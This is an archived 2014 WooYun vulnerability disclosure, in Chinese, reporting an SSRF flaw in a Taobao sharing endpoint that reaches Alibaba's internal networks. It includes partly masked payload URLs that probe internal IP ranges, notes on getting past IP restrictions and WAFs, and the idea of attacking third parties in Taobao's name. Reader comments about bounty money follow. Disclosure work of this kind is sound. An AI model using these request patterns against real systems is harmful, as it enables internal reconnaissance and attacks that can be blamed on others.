当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-061866

漏洞标题：内网编织者阿里巴巴集团各业务内网来回编织！

相关厂商：阿里巴巴

漏洞作者： Nebula

提交时间：2014-05-26 14:44

修复时间：2014-07-25 14:48

公开时间：2014-07-25 14:48

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-26： 该漏洞正等待厂商内部评估
2014-05-26： 厂商已经确认，与白帽子共同解决该漏洞中，漏洞信息仅向厂商公开
2014-06-15： 细节向核心白帽子及相关领域专家公开
2014-06-25： 细节向普通白帽子公开
2014-07-05： 细节向实习白帽子公开
2014-07-25： 细节向公众公开

简要描述：

RT!

详细说明：

听说有奖励,来试一下！
其实,是淘宝一个SSRF漏洞,但部分业务内网是打通的,能编制淘宝内网的同时也能编制阿里其他业务内网!
http://share.*.taobao.com/share/addShare.htm?title=&url=http://www.wooyun.org

1.png

漏洞证明：

一下每个测试网段随机ip找一下应用,只测试http协议的80端口:
http://*.*.18.*
天猫:
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.18.5
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.18.49
...
http://*.*.22.*
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.22.49
....
http://*.*.23.*
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.23.139
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.23.140
....
http://*.*.24.*
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.24.1
...
http://*.*.32.1 *
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.32.1
...
http://*.*.38.*
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.38.30
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.23.81:80
阿里云网段:
http://*.*.120.*
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.120.112/uc/index.php
...
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.252.144/xxx
...
Alimama:
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.1.21
...
...
http://share.*.taobao.com/share/addShare.htm?title=&url=http://*.*.2.64


1.png


2.png


4.png


5.png


6.png


7.png


8.png


9.png


10.png


另外,SSRF可以做很多事情,比如绕过外网应用的ip限制等(如:前端WAF)

1.png


1.png


SSRF就能访问了:

1.png


除了用exp打内网应用,我们还可以打外网,嫁祸给淘宝,说是淘宝干的,如:

1.png


下次有时间,一定把阿里内网应用结构编织出来,我想那一定很壮观!

修复方案：

内网请求转发到当前用户所在内网,这样才算最合理的设计之一?

版权声明：转载请注明来源 Nebula@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-05-26 14:53

厂商回复：

感谢您对阿里安全的支持！

最新状态：

暂无

漏洞评价：

评论

  1. 2014-07-25 15:16 | niliu 认证白帽子 ( 核心白帽子 | Rank:1542 漏洞数:206 | 逆流而上)

    nb...

  2. 2014-07-25 15:22 | 白非白 ( 普通白帽子 | Rank:447 漏洞数:60 | ♫ Freedom - Anthony Hamilton ♫)

    第一次知道这个概念是在xkungfoo2014

  3. 2014-07-25 15:30 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    5000到手了？

  4. 2014-07-25 15:39 | 铁蛋火车侠 ( 普通白帽子 | Rank:156 漏洞数:31 | Q群371620085 技术交流群 有漂亮妹纸！)

    好多钱

  5. 2014-07-25 15:41 | 阿萨帝 ( 实习白帽子 | Rank:91 漏洞数:68 | 不发礼物的索要联系方式都是耍流氓。)

    分钱吧

  6. 2014-07-25 15:49 | Solomon ( 实习白帽子 | Rank:42 漏洞数:5 | 玩笑而已，厂商勿怪！！！)

    阿里的 Rank 15 等于多少RMB ？？？？

  7. 2014-07-25 17:14 | 汪哥 ( 路人 | Rank:28 漏洞数:6 )

    @Solomon 15元

  8. 2014-07-29 09:22 | 啦绯哥 ( 普通白帽子 | Rank:107 漏洞数:20 )

    原来提交到乌云才有5K...提交到ASRC却只有500...

  9. 2014-07-29 10:03 | 无敌L.t.H ( 路人 | Rank:21 漏洞数:4 | ‮……肉肉捉活，亭长放解)

    以前百度站长工具和移动测试平台的也很美……